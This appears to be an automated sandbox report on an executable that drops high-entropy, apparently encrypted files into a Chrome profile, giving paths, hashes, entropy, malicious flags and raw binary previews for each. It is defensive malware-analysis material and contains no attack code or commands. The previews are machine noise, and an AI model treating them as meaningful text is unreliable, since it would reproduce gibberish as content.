Preview:	........J.N....Me.@..,t..46G...Sla..q...Njg..79.z+..;."C..v.Y...&.==xh.'5G..W.....}~7.....)...J...$.Q.a...7l.G..f,...d..]..S...I...o.K.oz.......K..c..o....g.OJ!......sf.....f/MJI.'4<.;9.n.2..m........@.{.(.F.XfM..x....9.....9.M^..tt..E..,]...e......4.....4yv...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	176487
Entropy (8bit):	7.998584888333077
Encrypted:	true
SSDEEP:	3072:RL72agMUICPayylnbNLWbg3LVPnFp+HhP6TlYiUAzP0eCaDZH7Xe+QSFFlzenNsi:R+N31PallJLWbMJO6RpZjkaDZHze+QSc
MD5:	461F21E2C4B6F209D8300D255430FD2B
SHA1:	7D219722A89D40477BD73F2FBDEA3CEC0E4F188E
SHA-256:	7E5D15CB4797C0E0A685512AE08E2B03D1F9A6D621D05503617B29FD16862058
SHA-512:	1AB0C35B31AD6344CED7877A79CCD34ED785FA2F483139092D388164A77DD05B079212989B69BEE709F0F97E06C05376F763FA8CE4DBC10BE57F4C442A912C26
Malicious:	true
Preview:	.....r...a..).......}......I/....a.d.:...DW...i.He.Jo}A..8&..L5y.y.B..$.J..:W.1+F.v..XU..\|..Y.C~4.B.F....=E6.......5.xdO.....3g.%m.<15...^1....ofD.lMk..3......M..LF..(.:..K...J...V .G.qBn.u.W3..>... ...p...7_@..d.Kp.9e.xd>.l )...;.'gp5!Y.#.1.b,("....Oy.ve.. .:........$...$v...%......".$..3..1...?7..2..>-4.Y...w'......ts..f\.F.UA.........\|...'6X1P.r..V.K..a.[C.u.#...].[+f.....l..?.......ev.x,h.&$..I.N......T9.m(..b7..-.-.-./$.K%.h....x.bD.y5.h....Y......3).~.C.-G2P}J6..tA.@@....\...z.5r......mY......F.:..P.n..~}..s...+.......\|."m...>.;.ch`..H`-..V..}RX3.n....\*.v.2\;yW.O..w.^...3/.m'.O....,.^....g..1..U.[.._d.....x......{.:....a...}........T.I...._.J.3j\|G.9......\|0.V..T(q\ZX....7...k+u84xt...)r.X.u.H.N4..w..,j...$.84.....s...t..B ..l\|.V...].....:.-..\|ss.4.O.[C..........?.PW5...s[}N..t..(..u.{).._..c.vd1...n.Z[..8wQ...wt"..e.>.7=.=.LMW.[.....a.xD..l......#...."....1..lD.w.......I...^.....wq.;.p(...B....#.....Ob...v....9...5.l...i.&.g(.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.2516882566622884
Encrypted:	false
SSDEEP:	6:hVTUKtTjYAVmBEnoDDghI3fR6bAOAhnKPl0rpl2jl7ijGxssZacii96Z:nIGzMBEn8l0GnKWIl7iixpZacii9a
MD5:	007F555957967F3C40E3A65417324240
SHA1:	4B0F699001B32E09A65C0D690B807607177C8FEF
SHA-256:	F5E7CCA8FC2417287E6915448457100BE1ECFC2487CE96918663E2C941982815
SHA-512:	B37FB03B9243F3E1E22EE5D3F4B76CCF64D7FC2E95F5DEB8348D483D4CF062185AF6AA408290DDDE3659EF01D5F88764CE523554AD6C0EAD0A2082C2204D9E74
Malicious:	false
Preview:	..m..>VN..1Gx~G.i{..:&.13C..801....Q..S'.H.F.)`.9F..........n.L...,3....n...Q..k.....s.(...s..b.K...G.s.....0+..s.>.eiK..0N.it.X0.Z.v.:~...$c.\.Z..a.?....+$.%cL...`......p...3,.....n.8..2.4.....SG.......j..#.=...f.9.`...o._2.e..S...t"..B}..(....xl......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	156339
Entropy (8bit):	7.998650876497107
Encrypted:	true
SSDEEP:	3072:MIIcko3WW0fks/bHm2vgwy84up4PP9GGYxuW3WW6ZoZ:ME3r0qPwN4j92BGpCZ
MD5:	1B1DC0A2EE9DA3E6131B30381AED6345
SHA1:	1E0F8F89ABAC07AD9BE130A2D5250A4B10908436
SHA-256:	E15C3A54B0B39C60A6BBD02EAF2819314DC3BBD1FC36E253EB5A9200892FB815
SHA-512:	25F1EA2DFC5A4F4D739195B5C325C27FA049A246FF776EABF056D8F3A47942FF33E4F8F5FE1266D8CE3D25CB045D1ECA7888EC55D19629FA1496B757B2DBD9D8
Malicious:	true
Preview:	..........tlb ....Bs\|..J".(d@....A.R..d.a.N...r.H.ZJ.2..j...t........8.....7.J.]U..V.u.7.#....0.Q....@..l.../.p..CX.L........./.$-s{...;.'...q......- .m......D`v.L..!.._."Z...[.]...w8.CvY......_$......Z(.z........@-\|ZA.C...._.......UM.",P..2C...~^=..Y...`M.uIx.\jT..~...x^....3....._P..j..-.&q.P.=6GM.n.x...+.#y.n.....r.,.Xc..6..a.&.......r.l..k.<.../.....T.......7.ly..v....... ..M..T........h. ..8.h....#........./%.."zU...Mz.8.....m.....{X...t...@.D`...}...ui2..t=.$q....O...:....;...w'w..'.._...?.ox.a.b.h...b......{...<...C..7I....s^d\.......{..McN..xb..S<.......&.v._l1qI..59hM..>....i...].....x.Uv...J8A..!..^.l.D>).0d.r.=...%._...4pN.......N...$&pw-.$J.......F/.q..~FR5L........I(....P.,D6)......4.if..l...5..dy.G5...._....R.B..._....}...F;.c...~....2...r0=.G.{K.v..........t.T.(i.....g...3;..).D8W].V.,Or2.c.X.p#Y=B.....K.I.......o...\.4.B[f....H...!.?o1.~.Te..}.......X#.d..oz...#...uR#o.~.. ..T....<.`s.......$...:.....C.u....../E.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.234930540587857
Encrypted:	false
SSDEEP:	6:haFe7EQ39yzVnZgNXgq/u34OGOTFmlU8/C8eI5SBVwYsxCudWVf3KcVjGxssZacq:sFWEQNSNZgSDGOTFGK8bkw/BdUf3KcV1
MD5:	D679477F9AD08C303F698B000FAE9F1E
SHA1:	79D3E2FB664B51EFD32E72A1F39361C6EA1AF99D
SHA-256:	962E8D1E1D901BE8C7EBDE8B8816C01C80333FAF88D43C37F6D6EF8A7862E913
SHA-512:	1C0C6CCDACAA885448D7BC2F374E050E4E59352D7DB31F47FB7F8CA99BCD1A85E5F3ECFFB3E3F4A42C2500AC65F691557851474BD4F6CA34FFA954EC22275C3E
Malicious:	false
Preview:	.[..r.... *Pi...%.).... .X.A!+..y.....z.r........b..........bP........#.h....;4].-0..i..Y...N.....4k.V...D%..\..8.A.l_``...K.K)..N6..:.......Z...a.@...;..]..;[.P<]h]/0\...n..6.Z...o...U.d...0..\&E.r.>.e.1O.(bi=...y...z/.-..1x..5.....L).....z<..2-M...V..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	163379
Entropy (8bit):	7.99855170015753
Encrypted:	true
SSDEEP:	3072:sooGyhTCnJP/TljJg7voiJVgahDsI7JgLbISadA7uOhT41Q2w9eenldMbs:0uJP/Tl9niJuahj7JgLWEVT4uT9NldMQ
MD5:	E0A5D95B533E4FC218E1C4D8EEC19B4E
SHA1:	B46AC12E5B9A38791BC513DDEA821890486464C0
SHA-256:	81C21E0B94747981CB158EF573C2EE18577F5D41E555FBE6D2FD814149EE5C98
SHA-512:	596C52948C131699E0D00DD261B6C1229E94E8B239498D5064A1A222FC465F2B46EC6923D6160C7921A849FF3C5EB1C92A8B2B4D8125371D3ECC54379DBEC8BD
Malicious:	true
Preview:	..........b1.bVDK5.hu.S..H.........hB....eV...P+NRy...nr..B.3.C...c.Q..y.,. .H^...KU......)E.i....B..I]K...n.DgP&.,.2.%.g..$.n..}.r.R.yi..me[.O.\|........8.u....J.ix%.M...~\A.......l......&..r...F...i!...K....q[3 x.$!`........J..mpmt&..D.l.......5..z.....').U.a.#...UW..Q..m.I.3"T.S.#..8./9.h<..T...E..n!......~..xk.z.p..k..)N...j+`xJ....(...Q.......m>F.T.E....ig.j).......a....c.$_9.2..hJ#0.>.alN...x....i..?..J.j..9...6....P}.IV.+.(.......$b...DPqMui..-......4....q...f..p{:..%#.+..^l....-...;....B.].SK..x+.....cy.\.6..)oAz,.,...]4.vC...y....`4I-.8}..'.B`.....3./..,.<..~........hy,.KN.M.X...C...m.D.. ..\...'...@P.j.....W.$.O>\|&.Ut.49...R#....a....7.R.6...^.N).C...1}.jH.-..mp6.^.sN.yo...x......S...P....D..>d.J...c.VH...[L...ve>@..,...H..Y.n...+....+il..*.&...3...IM..-j..6.z<0,..G..#..b9j.-)...6.....z..........3..Z...IE....cKJ.?0...nW.L..Q.....`.]..X....i...!KC:....Y...2..t.k\...3[t&..9.......#.a....X...-..ET.....9....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.226488773609624
Encrypted:	false
SSDEEP:	6:5XLqB71jtUWo6WR9QMdZYMvrJlGQEiUn3pwZoIjjGxssZacii96Z:JuB71jtPOQMbYMz4iKGtixpZacii9a
MD5:	0CE7376D3145602E63BADE389A04921B
SHA1:	98F438513057335BD495C3CF4DE61A71E3EBA1D6
SHA-256:	B79CAEB620587294DB052E6E28C4E290D171129B41B411A04BBFAE2988E505B7
SHA-512:	267D5C01C64F275068FAF66F0F93282DDB50F9F5A160096FE83D21067F2BDA2CCA9FB036F569CFE34ECCAC6E09F703495649DB5970CE53E515C917B303F06CC8
Malicious:	false
Preview:	..J.G!.$....p...B.....;...[.....{g........U&...&m.1.\|...i^..kJQ........4.Rg:7..a2...M4j ..5.......#.\|..!lXl/..........g.o...VNj>.....l.L/.u4H?.Y.z...........j.....^@..I...1..T....o.p...a.......cH.....e.s.LnM(.....,.N#dfK...1.N..5.ZAQ.c..\|..)*.......dJl.7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	155189
Entropy (8bit):	7.998874375116433
Encrypted:	true
SSDEEP:	3072:6xG4v/l/pqENZK+9PwOMmP1AXnafUIgWaP2kAyjva986CNSj:gGs/DZPnPGmNAXaMIgW3GM86aSj
MD5:	273E27DF8936EBBDFC5D350A89641045
SHA1:	F033BC21B75B3D329586368B96FAE6A82B9420D7
SHA-256:	FF20A830D970F9EEE616B9BE9D44A1D38FCFE2BF9E036AD2EC060558F3ECD93D
SHA-512:	6897645561B8A69FA4E420593C441C77A52C3045D3C19602647F18B5508E5129C36080F47A5302ABDDC615A204AA158D9E402C875A3218D107242694B78AFE02
Malicious:	true
Preview:	.....'..k...(v.....b3.R.D.!.....Y..(j.....N..C.0.C....z$[..^.R"....{k...@.!.S.;.Z....R[......'...B.+...\.../.'"~.. .p2.e..OF.u...I.~.......<.#.1.v.)..e&?..T...;..\z..'8....v.m.M.....Q66..FTy.......7.0.......(.X..-.R..BS..3.3.b.#Q.q..Uz.....ab.<.6.\|.P..x..wcU...,.J........}...s....y.!a.z....3o..V..m......~..3..o...?..+j...SON..)7..5c>l....V....a"Y..._.........ju..~,T....D&2..6..g>z.8.#.,....7..d`x.e..'.....$..d.3....o...H..y.7..}.%P:n.....4.ttzd..#...B.h1.....H.Q.%....;.6......vs.E\j..+........n...o..-.F.'.27\}q3...V..l_.B_.r.!......9..w8.@.....-.b.v..4..q....6..T.H..j.......d\.^.L..u.e.x.nd.(D..V...L.].I3....s....vY.......n...~.k..U.....Co...4y&5`.......XBg.&...B.h8m._.)..SK..Y. .l........=??..&%..mF..s`.\|...b...$T.:.j.c\|....q.....}..2}........RT.V...N....&S.....6................=.W.D.7o:..T..u9.BL..0.l.o[...~...h.X.z....s....K.(.].e]_..5.......:'..S...QkI.z.FOP[..@xe..7....!k.Qf..}%`Q.@.9..b.ZK.1'...b.....nQ....5..;............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.240883934759097
Encrypted:	false
SSDEEP:	6:MtParO42c3nUoXrKYH0kkBD1Jf11NvysT1dSSQJ5D92gp058Qy8vAeO4JZjGxssW:McO42c3pmqjmHv+/9Fp0G8D/ixpZaciD
MD5:	C73B6A26AE20176DC0CEBAE867627B6A
SHA1:	08554F35B4F9DE1C3A4E2570EA8E7D69249C2E8D
SHA-256:	B1D4F45763B8AD4FA55F41D9431145CC947E87D45F469C814E2AE77571777430
SHA-512:	27662AF2377CA4EDA2098D7D50020640FFA19C7CE5FBDC21D6C1E8BC73771194B5E798B722446AAA03852703833F84C0431C603BA758A19FD8EBA74660F407F4
Malicious:	false
Preview:	e._.N.Q6l^y.9q" ._...V..8.q.....n..D74.q....re...h...{....z...N....V.n.cm......G.m....,...f..qFQZQ...B..w.....KB.k....)Y....y.:u..b.xNc..C..b .@,3..U.....Z.PN(=.)-.Q...@...C<.cj}k..~P$.m.u....Q.....xI......m;...&.bMg_y.........$5.3X.4..EW@C..."}..t.S.d....{r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	155717
Entropy (8bit):	7.998535744257876
Encrypted:	true
SSDEEP:	3072:LsuRUpdra7Y5QhfO7PYktiuDZOjL7HSZZwNlicLl6PC4hHa1MYFQH3riXf865:LsuUrZXtpAjH4cLlX71rksP5
MD5:	8767C505E4411FDFB6C530DC686CFE11
SHA1:	8E150DBAC815202094F0BB948A826D9798935CBF
SHA-256:	132E9157F1B6ED81B830D92E4E43333533292F28EEE265EE8488EA76B653D054
SHA-512:	0EC36233BB403113B1ACE7F97E420D797091ED277B62904B6EAD7D551E0D69FB86804B1CF43225028CE19EE9F2A75449082DA53AEA5AF11E64C08478A218BED3
Malicious:	true
Preview:	......XDq....)c...D.>4g}.?#..j]P9...r+%.X..?sU.\.....+...7..n.n.o....\|....._}.b...z._.....T,yDp.\|.....A.9.....2...-g3...}.#'.....(.h..)..f.........=....vB...}..~..5.;...a.K.{...0..uH....-..$._J......=.......MF....s.....T......`wy...\:bc..>....X.Y...n.....M.~....j......i,..{=..\.m.~d.0=.qN....7...W.tI....KyJ...N.R.9.&V..6T..J..4.O........KX<.......sk...I.H.J..l4.......h....0.....L..k#qm.n...,.a.....F...Q7m...x.....#.."..n.!~...H.Z.d......6..^...U9bS..].isG...O:"W.1/...(....'H.h.=..%.U......L..Ss......<..Zt.... .+..f.3VLc..l.p..i.........1......[.....>.<$.:o..bgV.$..+.jx..I.......z..>.k8.Q....h.)}....4.O..@..HM...#x.D.........z.s.K.S.........C.I..........Vsx.HD.x.3.m.......0.U...iP..:.bF.!H.{......W..K.fH.~.y.,Ub...#s.I....C.8..j..K.91..4.......9.j#.h/G......... 9.c.......j.......VSR.......]......]..S.q../u .t..7.F..0..&...m....X`...7\..P.?.>j.2..#...\|.Z.w.q.z.8....Z...=..+i....@.yx.....!..?..u.Lz7P.pj.l..O#S...i.......y.9.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.273078792142357
Encrypted:	false
SSDEEP:	6:bsIjzpGoHqe9AMPPzqeYguu0tjYXfgnpmZWLolJLzLjGxssZacii96Z:b9jzpG4GMPblNuu0tAOpmZW8HixpZacq
MD5:	AF0F3B9C3A9843EDE00F40517B0FFE8C
SHA1:	DE6ED7421A28993EDCBD9EBB5B20B092403F6E28
SHA-256:	C3909C733A483F316065C061AC510FA0A1E45B2F17CC3DF1FF7296D5DE5048D3
SHA-512:	3AE15816F54423E0BF161F05CE57895327527F7083996F0C2CE292E0D0FCEB82FD11826289D950AE14F0F5498089FCA626957D6FD0FC692E51EC13EF00D02F6B
Malicious:	false
Preview:	.U6.,Q....B.N...}k...aepZ..o....>.I`..1Tm..R...f.r.y...../W.y.CxI..{.`........'.18.PC[2...<../&6......NE7@....n.Z..].........FV0.8.2....M........+.No.....C=M......x...u<......b.B...8w.0..S?..Q.....2c.........x.Y...%.......%p...H.9....k..m3.9.tz!.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.992359583493132
Encrypted:	true
SSDEEP:	768:oN/rpddSlor3M75wlqBjtOB+ZC4w1eohURB65Gs86mGjnDV:oN/1PKojMalYjq+waBs86XjDV
MD5:	778BC18931C552B1FFF3EB7998346FC1
SHA1:	7DF6714D62E54D3475FB8EA78330F06EAC4651CD
SHA-256:	12356386C266069942E8711CF9AD8010C0A8E96056429992408AB8CE99B74E78
SHA-512:	B2E5C215F28A88DEAE45104661D8413F05BA76382532EF032C29C0A94FAAC2F28DC64B54C1BD31C0F610DAD02094F21996246C694CF3F4A8D7D0C95712D0E38A
Malicious:	true
Preview:	SQLit..eM.D..X'C_.....QT...M.oN$...HW...'.!..,6.Zp....-.Q>R.o..<d.NT.\..p..O.F.......z#..;.o.,.Q..D.HU...g......I=]."j$x.y9.m.......UP.......j..fQ$......t..F.t..k....@U..2..5E.";.-....+t.;.;....yE......).W7.S....E...oK...D.(.HY.(.,f.A.&.T.B.8..%s.7.h{\.D...R~ .J./.....DC..lO.S.r...#...!.h...?].7-i...F}L....s........"%x.z~..\......$...g..P..'.UO".)..`.r...FF..:..ig.R...^EBk.$.....+.s..O.o.U.$..&1G..e.eZ.[g........C{.E.a>v.o....z...z.....\.i..}C.j.m!....\.z...;...L#..2.r"..c.^eC~B.i.....{x.".V>.m3P.k..S. l...:..i.L..i.C..!W....."o.p.m......&d.....td~.)...k...8.*B..T...../...o!.3.......(B..=...Q....l.X..C..4....8.00.....V..A4....\V<%......E.3...I.....@..".I]......AcO.Y:.@T../.3\|v..:,..y.....!....@W.B.6.0.B...n..D.....;G`.A.6Sr.:LV.(Z.Q...O....'..HN.yZw..Uey..T...R. ..!.._:.Y..+:.Av....4vI1x..;.?....A.NC..s.%..u..c.7.xR..-...@O4.zj.1...dU.....w...~..%.....x......-lR..........s.Jy..+.@.......vX\|D...d9f]...._.ur.J4..~.o0.fc.c4.O!.e..#`,..E...2.C..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0\model-info.pb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	499
Entropy (8bit):	7.5580964779705555
Encrypted:	false
SSDEEP:	12:qoeNi6nYFhVtZaYRANKU8DuTxGomovibGixpZacii9a:qoeNmhVtUzVq4iTkbD
MD5:	69FD9F8861D84CBDB8FED8F6C844FD5A
SHA1:	D0BF7F066A90BBFC11B3CA8F9081CF2AF65A14F6
SHA-256:	AA941680240BC9B893E8B5E2B6367957097B516AC83002E500E24A6C9B4D24B9
SHA-512:	A53FDBEFE07D57DB7208BFDDD468E3A584BA61C63A6F00FC236F71F78AB60BD2DD698FA387088F427682A575B13E0EFB61F8FA5A96AAB54BE4F10B92A0C290E5
Malicious:	false
Preview:	.........w~......{..\......S.93./.....\...i..yjq.7{.......B......w..3.;.}..!).0Wv.O.......-sh..b]...a.M......:.z..Y3>K......{?...B.{.....Z....=Q.n......z..c..H.......R.....I....7...u..J..c2..[.?..^a._k3.~...h..,p..Z.;...U..`H%....`(.z..........e..#....g....>..)......m..;....<..aZ...(l.S....bw532)....3.]..dR....G..2...A....l.E...\|....7.c.HT..k...>B.0e...G..C..@:&h.Ls..w..\|i\|....@.9.F...9...5..h.-r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\f0479a66-61f1-42d6-a1ab-d023ed0adaa0\model.tflite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	14258
Entropy (8bit):	7.9880484442925725
Encrypted:	false
SSDEEP:	384:1KA0eI9pJJsF40STaKu2UB3tbI9zyi7qvdIyh:1iU40STaKA3ousQCyh
MD5:	982FCDA45CB5763CAB38D7C043D65AF5
SHA1:	A5324B03D9E03A967FD04FD125C87485CE8B75CF
SHA-256:	5F328D5C7E4F0F9B81D6565BBBAEE636F030204F70503406072DE330E53FFEB8
SHA-512:	EA9E1B6533426369F827DA4A06CB631862C9A9038CCA5C255CE14A6192CB25BBC1379D07FC38505FC3C34FABDD883CDAA50D6596A7A637A89C985F78F6628367
Malicious:	false
Preview:	....T\...M......./qV/.N`rh..M.B..c.... ..#5..1.#?8...`...<f.w-p8'...f\|Dj..X....-=.......g...7L..@..g..n1).T...o..]C.......S.]w.`./..Q.s.Y..#cp....X..l.E\|..&rIe..i.s.<W.!.....X.....:......d...H_.......:.m..gm.'...g...{W(.......... s.e.....=7.D..M...+.L....j.$[4.,O.(..f....jD.....\0..7.....Fs.s.u.f...?.3....TX.@<.8\.Q....54.Yt..N...tP.............?...8.. .....U.Y.;.qK.&..1=Z.\|..B#.r.....\.........e.".Ts.r6.).[.k_._.}Sr..j0t.m.Dp)0.r:7..~..vt1...vdy=.....S7...A.....C..T............9=)...!.....3\nl^.@.......f...S...e.V.QQn........w.Z&...r..R0..<.`.....;.6f...F..K.gh(...1....KV#....p...\|V. ..rj\V%..{....'f..+...3c)...B....p....C.Y\B.C3.4.b.R.....c..g6`.-..Gq...;......=...686J..g.....3...+...TYD4!...,...0....z+..".E..8..u..x..9.s.Dl...P..A..$.........E96....lm...\|E.%......E..{.(.h/....n.3...........L.'..JuJ..E..9..D.0LC.2v.........e..d...jk........ m....`.z..h..&l.&..o.L..Y...y....$..9U]......]N.HV.=..+.i@4$)N=.0........#.Y{?.....+$.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500\model-info.pb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.287994267901499
Encrypted:	false
SSDEEP:	6:ny5qoTHSKiH5yysWE8HBGhQ/s+c2RVTxu8Mu6OjGxssZacii96Z:y5TTyzdHBpN3lrMSixpZacii9a
MD5:	4218EFF023BB3B80881E315CCB899950
SHA1:	94D6BD9F5454FBC1E228E82AA604B6BF9691206A
SHA-256:	132E09976BFCDE7B7182F7402A4F1867446815666544BD9515BE17AB31AC4A16
SHA-512:	4E27634541D2094CE3DC0CB938CD3AC7D5C7F5FB10338FFFDFD53359A005131A1F7766C8C880025B64AACCD7081B13E5CB648C4D16696672CF8858D49659F7D3
Malicious:	false
Preview:	.....t....._...\...........y.\J..{.d.S...c..*.,$ij.u....X..UD.k.c........Y.u..T}FX........-...<...-...".T.#.g..f.L...n...'.F....G.........<'=..Md.........<.j....b-)`I~ 7.....,f....<.x...4E.e.L..o.Q<&.L).1....Db...E+D.2/M.....h.H.6..)......_?..)^V...].1.p.2.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500\model.tflite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	392382
Entropy (8bit):	7.295605122611582
Encrypted:	false
SSDEEP:	6144:dX5/PBa6yqet2lYB7OqXpqQC7SaPGNFzq/RnfAmn+qGk07U0z9zMfp1BLcpxd/8A:J5/PBaHT1oqXpqQMLuNy5Ymn+tnOp1BG
MD5:	4FF9490DB42239A79130339D8B342B42
SHA1:	4DF36BC01078807E38B5670AB22B62F6818A55F6
SHA-256:	F97255BD6A6CEFD58725E8AA20635D83FEA17854F71242C1242E05ED4B6175D8
SHA-512:	ACFC9738896CC32E0A04D4DC576E1EC1E7742249E7EFF3DDE6AAAE60F085F82B26BBD6E077E6070F9C8F2F10C57114EE5712E9E3511DAAB05CE4D153D628C985
Malicious:	false
Preview:	....T.;:.h........2.L..D....S...;.y.!k.l..QHI+..@.X....8^.J...io......8......a#..\|.\|8.....d....B.....)s.1D4..+.....F.V..JHD]....-#....D\|"....~...7..>.S.4> ,A...t;z...Y..%!.-.u(5.U.....z..4....'S.$.b...!8.s......[...e....4m^.S"....o..J[e.yI..^..^f4.=..@IO..=.X.../.F...J1...F..@.,.3..M..q_F.Ma..]..1".v.J.,....<...{.W...J"........(.....Q.jB.,.W..}..`.......d.hs....t.N....^d...2`....irv.2O.y9r1.%.{V..Wmu}1...W..5.Q....9.`r.1.9...p4.u..j..g......m.....\..X;3....e.t....g.4#..G~\i.. 3.+5...3......z..._..Up..y.'D^\|....j.1h.g....:V....'.....Sl..N...S...\"j..?.....[..A..d......c..`....X:...z...)..."..:..:g.....W.....5.&.U.s..`uG.d0..e:...Ge=..PZY..*..c'.P.....9.V.b....0..l!.q.....0..z......B..c'..E........9j....T........}...{C>.+..n]G.._..Raka3".K.C./....Q..[g....;<.uJ..b9.fm......&`c..>.?.K0x..r,LM.-..[....YV............4..7E.GE.Wq7.n6L).d...J..-..\|.x.....Z...$f<....K.s.Q.!.\.m.X....?.....R_...c.UE$x.Bz..`..5+G.....&_Gw.. CI..Z...e.. .}.,D!.G.-..(V..=P&

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	36745
Entropy (8bit):	7.994547286609843
Encrypted:	true
SSDEEP:	768:L8iwEXrokSoN1YmuMZgLlykRXZIuWPQe9Rw9kds0yhYVUQXM:QiXronjMZgLl1LI8kd5yhY9M
MD5:	0272E02B6B18B500A846AF672C435C8B
SHA1:	69D93F05A73CD9826AE5623012DA85C84337E976
SHA-256:	261D435E062B73249F7E9BF1E4F14E85FE28C201CDFA0F165E0F2222345E8301
SHA-512:	295549B269BDCDCB872A8D6BD0EC485BA18090C14B36A838AB492F6B3A55E58A5A79D46E86DAD2B2A147C8EB708698EF99D5ADBE4F8E3D07A850078ED7ED4CFC
Malicious:	true
Preview:	A..r.$.~...v......`O\~V....#.....w....zQ...".#..O2s.M.J..;........:r..1[.Vs-......&j.R...w..J2..u.N....W..E.'F.E.S..a2I.c.._...jt.].-.[..n.GR...N....3.r.6..........)......."...!..i.D.9.Y..u....7..t.>.a<v..g.,.~% ....t._.N2..k......u.T...V.1...-."n....R..p....kq.C..Q..X...mJ._..L5..#.'+E7.....9.wk..).50..(./.qa........\|.....k...9,....I....M`.Y.t.l.Z...6.?........0.}/N\|..../.....<U4.a...3.b......Tl........8..t.;.......3.[2.w.W..H:.....h8..a...^.dV.Oi6.M..1E.PsF....?..s+B!v.c.,.N.ld.r...{.....B...!.......4T..%..3.M. ...T..l.....u!Q..Am6.).....<..:l!.O.....Qu8...?..).A.^o_.6.p.D'.q..V....(&l....0.P..p[..=$.d.)..'........,u1{ .8..x.J.../.1v...c.M.U..n.H....0....J....w@#`...>C.Cl.(.N..'..).K.;E...u.n..yEm...0..q\V\..W. ..A.......N...., 4.p...s...5EHk...!._....j@....6@..._...OT...sT.^8...\Wg..8..N.yT.$5..d....)..^.J@\..N....!4..B".w]9but.k.........JU...f,.3........pN..cJ...f.l..=.C...t.....]p.h.X$C.%..=`..Go.....U...p.b3.

